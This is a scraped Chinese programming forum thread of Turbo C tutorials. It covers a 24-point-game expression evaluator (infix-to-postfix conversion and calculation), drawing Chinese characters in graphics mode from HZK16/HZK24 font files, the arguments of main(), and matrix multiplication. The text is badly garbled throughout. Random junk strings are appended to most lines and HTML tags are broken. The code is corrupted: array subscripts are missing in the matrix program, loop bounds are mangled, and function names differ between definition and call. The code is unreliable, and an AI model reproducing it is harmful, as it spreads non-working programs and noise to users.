/* 此函数实现中缀到后缀的转换 */* r. I0 e- Y, [! f/ a$ t( Z
/* M的值宏定义为20 */: C8 i3 L* E( C0 S( m
/* sp[]为表达式数组 */5 X  U8 V! L9 L* D5 r
int mid_last()5 U( S4 r) t1 f$ _2 H. H7 h
{ int i=0,j=0; char c,sm[M];: ?8 V6 e3 {( N9 G/ r# P1 G. \
c=s[0]; sm[0]='='; top=0;
2 I* R) h9 x/ a1 U, K. ^4 e$ @while(c!='\0')2 x' V- S4 }- x
{ if(islower(c)) sp[j++]=c;6 N7 \. E/ D. Z- d+ a! j9 g% d5 p
else switch(c). U: N- @& Y+ A2 q4 q/ a4 d  b
{ case '+':
! R# J0 A+ {1 |6 ~/ L' Z8 S! |case '-':. f& w- K& C) C- i* m. B6 w
case '*':/ F8 }) i# V0 p% `( v! ^! n
case '/': while(first(c)&lt;=first(sm[top]))8 ~5 @8 `7 N% `$ f
sp[j++]=sm[top--];' _6 V4 O; x. }* E
sm[++top]=c; break;: t& t3 p& O6 Q* M4 f
case '(': sm[++top]=c; break;4 o5 z* g( u! i4 g
case ')': while(sm[top]!='(')
; g3 d% g# T, K% R$ ]+ J2 @sp[j++]=sm[top--];
) _& D1 m1 I% {( a; h6 ptop--; break;
* V5 C0 i! x( g7 J) x6 Fdefault :return(1);
* p8 F6 @! b; ?9 X. g" I+ q- S9 M) r& k}2 b: T% Y" w9 R' g
c=s[++i];! g) e1 y& p# @* f: A( n  V# C" M
}
2 L9 b9 g4 w- P# wwhile(top&gt;0) sp[j++]=sm[top--];" v4 N9 [2 F4 a0 ?/ [# _
sp[j]='\0'; return(0);
; z: H" A) M$ Z3 N: s4 U}
3 ~; ~' a4 I3 U1 O# x5 D3 r, J! H/* 由后缀表达式来计算表达式的值 */
- q  v& t8 J) y. \int calc(): K5 d8 B7 U2 {: J
{ int i=0,sm[M],tr; char c;
5 R) {$ l; A3 V+ _( \& ]c=sp[0]; top=-1;
8 E6 K4 Z; y) awhile(c!='\0')/ o% |3 g. `9 {, V7 `- J* Q
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,' g. S- h9 e& S: O
这样才可以更方便的处理非一位数, ' o2 P8 S( n; {1 \7 M: Q& B/ g
ver数组中存放着这些字母所代替的数*/& H# Y( h! Z0 T. X
else switch(c), T" K8 k: G7 O+ b2 w( h
{ case '+': tr=sm[top--]; sm[top]+=tr; break;+ ~3 \& s  |% Z/ x4 K0 l4 n1 G
case '-': tr=sm[top--]; sm[top]-=tr; break;" r+ C  M) a- \, J/ J( e
case '*': tr=sm[top--]; sm[top]*=tr; break;
0 A# a" v* A1 x. w4 n6 {2 X) ^% lcase '/': tr=sm[top--];sm[top]/=tr;break;! q5 q0 Q0 |/ X2 {9 Q
default : return(1);, `7 c- m& M: Z3 n8 {5 `0 d
}
9 E! ~; y# v/ a& `% Rc=sp[++i];& G' r. X6 [  k' _
}
& ^! I. j% r9 _, Oif(top&gt;0) return(1);$ e: I  N$ u$ [5 H/ ~# ^9 P0 [
else { result=sm[top]; return(0); }8 r" C- x4 @' u7 D
}1 u0 O9 s& p9 \  v
</FONT>0 R5 j* L% b; f( u1 t) D+ I0 |, Z& L
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。5 k- o- H- V+ A+ `/ ]2 ^$ {! c

& W' ~: e- @# t! |5 R& J- C, o  最后我总结了一下这其中容易出错的地方——
' d4 `" B, K( C# }9 B1 F$ w% X3 \% W/ b9 D
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
  x$ E8 [, h' h. U+ P1 ]/ @  j4 t+ P+ l- W
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
! ~( R5 P3 k. T* L5 I1 u* n
% M% x; N6 L& p9 I; q6 x& h7 Q1 z/ v  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 2 H9 o- a" i; [; e1 j) I
) s: q2 R: K8 x
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
3 _3 d. Y% Y9 @! l& o" F* g5 Y0 X( W% k* Z3 H; a
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。  x- @" ~1 ]. F% l$ o4 J2 y

8 z/ z) \9 H( V. Q; Q$ K  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。4 S# A' T1 j; M' H- R$ ^

: o% Y8 j7 m% w5 C$ f' @3 |  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。: w4 C0 t6 H" o6 f8 n( I: H
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>! A. L) h3 ~. `4 o
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
6 p9 U  \' R7 `: ~  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。! x! M$ v% q: S
  汉字显示的第一步是打开字库文件。 , k  v& P7 z( `1 x% g
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
2 x4 Y# ~3 a3 j( k  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)8 p5 Q' }3 z) {  Y; y6 q- d% e
{
" g4 g% }) }7 X, V& uunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/& z1 w' D5 }2 @1 p7 }
int rec,i1,i2,i3; /*z:space between;*/
: a# @( L6 \6 B8 E. W9 X+ ~+ r- [long l; /*color:txt color*/1 B- a$ E1 o+ n
char by[32]; /*p:HZ str*/7 j! y( h0 t2 N: v
if( handle&lt;0 ) return -1; while((i=*p++)!=0){4 h  F3 }1 O. i  |5 f) M
if(i&gt;0xa1)$ n8 Y3 r; s. y  {& P  z2 P
if(f==0){
2 Q; b6 N/ {7 O, V$ Q# G+ sc1=(i-0xa1)&amp;0x07f;5 Z$ {4 D  c. ?' S
f=1;
. G! y1 |( q1 H- k, Q- L4 q}
4 B. U9 }  a! w! ?1 f$ pelse{* U( s' g% ~' Y
c2=(i-0xa1)&amp;0x07f;
: m! O5 W- B  Q& E" o0 X0 @! q) Kf=0;
1 Q1 M3 o4 V0 f( |rec=c1*94+c2;/ Y; \4 K0 f9 X4 z3 A: `
l=rec*32L;
! m' F  t3 V( V# A5 v2 }& {lseek(handle,l,SEEK_SET);
$ D  W& l5 f$ v. k! tread(handle,by,32);
& g& x7 C+ z% r- e) w; q' A7 ?for(i1=0;i1&lt;16;i1++)
  B( b+ p, T; R) O$ dfor(i2=0;i2&lt;2;i2++): p# N% F& Y0 |8 G4 b% J/ K6 f
for(i3=0;i3&lt;8;i3++)
6 [2 t+ m5 y! ]9 I! z0 Kif(GetBit(by[i1*2+i2],7-i3))( }. c8 O# Q% l0 Z2 L; r! `
putpixel(x+i2*8+i3,y+i1,color);2 D2 E7 H) [) I$ V
x=x+z+16;
4 f. d' D4 \# A}
: C; C" r& L& X7 l: N6 `8 |}
5 q( d  G2 R. j9 Preturn(x);  t. |9 l" _5 k9 j, ]
}4 d) {5 r; f* s, @, ]; y; l1 Y( y8 U
函数GetBit定义如下:$ W/ I* I  p. R2 W7 M
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
3 V7 D4 E. B; y/ u! ~6 l" Vint GetBit(unsigned char c,int n)
/ a/ `. a7 }: b# ?( @{
! H3 }: }- C, x+ Wreturn((c&gt;&gt;n)&amp;1);  R4 d2 I0 f% w6 b' n" U
}
! Q& d  p  D; }& c8 o8 S% t汉字显示结束,应该关闭字库文件。
8 l" Z# T) l7 ^; e" ]) V3 D8 S  Ovoid CloseHz(void)$ u/ o6 x: m+ n1 ]3 T
{. W8 n0 z1 R, e4 b
close( handle );3 Z. y* d. B5 N5 }  r7 {% X
}
& _: A! H& A- p! q* |9 p3 e#include "\Caic\Include\Hz.h"  a, }  p$ ]. S' S1 K% ^  |
#include <GRAPHICS.H>2 e1 U& g7 V# {  w+ ?3 Y
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";0 e. w! T& _/ N2 M
const char* HzStr = "苦丁香C语言辅助学习软件";
0 S0 A8 ~; l5 w# a( H/ N- ?5 ^void main(){* L8 z5 t4 b! H* d" B
int gr=DETECT,gm;: b+ D( g; X; `7 O4 V
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");7 o) j8 o1 f- a* B+ Z: U
OpenHz( Hz16Path );
& M( z9 e: W; Y: ?; |Wrt16Hz(20,20,4,RED,HzStr);
  u! ^. S1 N/ J, U( v) G" h0 xCloseHz();4 a, \0 q1 x; \7 }0 h
getch();+ }  w9 o: n0 f7 b/ u
closegraph();4 w. T+ i4 R4 J+ F8 J0 J( T# p
}显示24点阵及放大汉字
+ A- f& N, H7 b+ T" n  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
$ m. D0 \' B! ^6 ^; T函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。, z  A  M/ z9 ^% [  s( k8 ]" K; Z1 b( E5 Y
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)* }1 |  y* Y0 e$ J8 o7 w% p  `
{
! G6 d! l9 Z& g7 T  S( Lunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/+ h$ `6 F6 Z3 T. V) `% y
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/4 ^" J6 o! }( U) K) O4 O8 M' ?
long l; /*color:汉字颜色*/
" O* Y! Y7 {0 }& a8 ?3 b. c: Bchar by[72]; /*m: x 方向的放大倍数*/
$ g& e2 j$ y( o3 Q) V/ Z/ P9 d' I/*n: y 方向的放大倍数*/1 E, Z( h0 V6 H
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){* o, k. m6 Q2 z8 h5 P* o: p
if(i&gt;0xa1)
/ e$ q% O( Q) l* ?% }8 F/ ?, T% pif(f==0){9 x4 P% j4 f( m& I" e% {
c1=(i-0xa1)&amp;0x7f;
& _. T/ i2 a# `2 {4 H$ Df=1;3 j8 w4 x% ?, ^
}
- G! t8 z. `0 g0 xelse{) O9 t1 X9 @2 O' w- A2 }
c2=(i-0xa1)&amp;0x7f;
% z! _  w/ Q6 @8 _- Y3 \f=0;% i! R. L0 ]# H$ u
rec=(c1-15)*94+c2;
% W; d/ g3 ~  M  ul=rec*72L;
) K* C% J/ j% B, I7 X& [lseek(handle,l,SEEK_SET);
* H7 V7 ^9 u/ x% k* i5 lread(handle,by,72);; Z6 ^1 G5 f$ G  \9 L: [& O: p8 z: ^
for(i1=0;i1&lt;24*m;i1=i1+m)
) P& [) E  [0 T: ?for(i4=0;i4<M;I4++)+ n+ J0 |9 K4 j
for(i2=0;i2&lt;=2;i2++)
7 o1 {1 h; W1 G& f; a4 ffor(i3=0;i3&lt;8;i3++)
1 {) h! W, \' z, i. v; `8 `if(GetBit(by[i1/m*3+i2],7-i3))9 @6 F2 u$ a9 P* }. b
for(i5=0;i5<N;I5++)
9 F6 z- i- s& _2 X9 n putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
8 {5 w. t* i: d# a% }) ex=x+24*m+z;
( {8 ]2 @! q6 L" d0 u; Z/ T% v7 P}
1 b& O- ]' n0 S* |; U% i}6 |4 y. A, O) Y4 ^
return(x);( b' W# ]. L& ^+ T6 A( O
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
( _0 ]2 z# a$ M* q* A  P( u#include <GRAPHICS.H>7 \. p# x( H8 D
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s.": S8 |0 o1 R( O# n* n3 r
const char* HzStr = "苦丁香C语言辅助学习软件";
; P. _; e; t4 l8 e3 Qvoid main(){& J0 F, d6 W" d# T5 N8 A
int gr=DETECT,gm;: y5 d6 x/ j/ i  j, H2 i
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
! X/ H, h6 Z2 N4 b4 X( DOpenHz( Hz24Path );0 N6 v3 l5 g+ f3 E5 v& m
Wrt24Hz(20,20, /*先是在(x,y)*/
, `8 u8 I" u/ K! P) X1 A4, /*汉字间的空格为4*// s6 s$ _. ]% x' l3 Z
RED, /*用红色显示*// S3 _" P9 W- Q
2, /*x 方向放大2倍*/6 `' O9 E- t$ P4 ]) {! u
4, /*y 方向放大4倍*/+ N! Q2 @1 {# m0 e# R
HzStr); /*显示字符串*/
; S! j% i7 o$ a0 X& }& {  R+ ACloseHz();3 x" d( t3 I( R
getch();
9 F) W  |4 c0 W$ [closegraph();
3 r# Z! e0 B1 l+ [) l9 D) `' c9 f} ' H* ], v: G8 g
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
. W% _5 S- E1 L4 U# r/ \' e+ D  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。7 w8 C9 B& q4 F/ d; R+ W& {3 a
1. main() 参数: p) m; E; k/ Z: ~2 s$ E7 m- G
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。, T. b' d2 w; h1 b, Y
  * argc: 整数,为传给main()的命令行参数个数。, b9 ]7 w- ^4 P, b! m
  * argv: 字符串数组。& A; q- E0 ~8 a5 `7 I
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;) T6 u% S  {2 n/ K" ]: Z2 c
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
6 s2 R; X) |: Z. {, ~1 s; p...
* u- ~+ I( y  @3 X* aargv[argc]为NULL。' S9 q$ F! ~+ r1 k8 a
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
# L9 a4 ^4 F- s- h值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
) j* P, k: |! h4 H6 ]#include&lt;stdio.h&gt;
$ r4 Z  u6 G. X* S( [#include&lt;conio.h&gt;
8 x( u2 h% R9 }0 @) v; M#define X 3
9 f- M5 v1 `' h) d/ B#define Y 3</P><>int a[X][Y];
+ P* B- e& w- r8 eint b[X][Y];
: x6 `* P# h2 [( _int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
& N* E  d" g( ~3 T# [% Hmain()' r$ f# s* Z% h. ?/ \  ^
{
& F* {# _) m+ j) |' ?int i,j,temp;& ~5 T* z1 W' s0 T$ y
clrscr();* p: e  z8 |/ I2 ]& X0 f' C' z& _
printf("lease input int matrix b[%d][%d]\n",X,Y);; V9 U2 J& [! ~: Y
for(i=0;i&lt;Y;i++)& w, A" }0 n& _9 L& Q2 R) S
for(j=0;j&lt;Y;j++){5 o& ?! q$ L) V& @: q- h
scanf("%d",&amp;temp);
/ ?; ~6 Y) _( i6 jb[j]=temp;
5 [% e) D1 r$ p9 t/ u" g& H}( D6 y# G" }+ h9 e
printf("lease input int matrix c[%d][%d]\n",X,Y);2 Z% Q; k' M6 u" S! ^* }
for(i=0;i&lt;X;i++)
2 w) n" X# D2 O' `for(j=0;j&lt;Y;j++){, Q3 N% ~# z2 [0 n7 n7 s0 _- P& u* w
scanf("%d",&amp;temp);& b, k$ d9 |( h$ l
c[j]=temp;, f# o" k! g2 r& p3 C8 J
}+ s( V- O0 u0 Y! `
matrix(b,c);
# e" h+ i. I' `( n, I" p  Rprintf("Now print resource matrix b[%d][%d]=",X,Y);
; m  N+ r" T' [' Rfor(i=0;i&lt;X;i++){6 j$ x% x1 j3 d% k. U
printf("\n");8 E- x. M+ W! [* w
for(j=0;j&lt;Y;j++), x! Z0 L( `4 _7 ^& F
printf("%d ",b[j]);, y! i) a. \/ |% [/ ~/ c
}
* D* K2 ~% L8 aprintf("\n");! |! U. l5 _/ b+ w! g8 \4 K, L
printf("Now print resource matrix c[%d][%d]=",X,Y);( g2 c- K! s; _
for(i=0;i&lt;X;i++){2 B: q) [- d4 o: ?2 M
printf("\n");# _( [: s$ i% @( |
for(j=0;j&lt;Y;j++)
: k: y' e0 _  ?2 A2 hprintf("%d ",c[j]);
/ R+ t- ?* m: ~5 Q}
) |" g1 o& }- e! L6 [printf("\n");
( `" T# x5 F3 y$ n$ Zprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);2 C8 P! Q! @5 ?, Z3 g$ Z
for(i=0;i&lt;X;i++){
6 _5 N$ h( p, J% C+ @printf("\n");0 r6 W  y5 P; C5 Q
for(j=0;j&lt;Y;j++)
0 }/ {( G6 e8 S- J! z6 r! I3 u( S( |printf("%d ",a[j]);7 r( b* E& v9 g0 s
}
( s. n- B" x1 q, T# a* C9 w" jgetch();* c4 T* ^2 z- [9 J: K; w
return 0;
4 V7 H1 F7 R2 J8 z" @}" H( n" y) k7 c- w2 A
/********************************************************************/
: a: y2 @' @$ B3 Evoid matrix(int b[][X],int c[][Y])
2 T, ^# S, m7 c7 U{' t1 x1 U, D5 a
int i,j,k,temp;
2 k/ r' g5 i. N: e" D% I( e6 mfor(i=0;i&lt;X;i++)( Q. p$ n" t8 s+ h
for(j=0;j&lt;Y;j++){
+ b; T* Y; h+ F3 _8 ufor(k=0;k&lt;Y;k++)
  R' g4 B5 B: Sa[j]+=b[k]*c[k][j];
* Q; d9 M; B$ ~, \3 X% I}
3 F& ~4 u, x" B  A}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 13:05 , Processed in 0.805597 second(s), 89 queries .

回顶部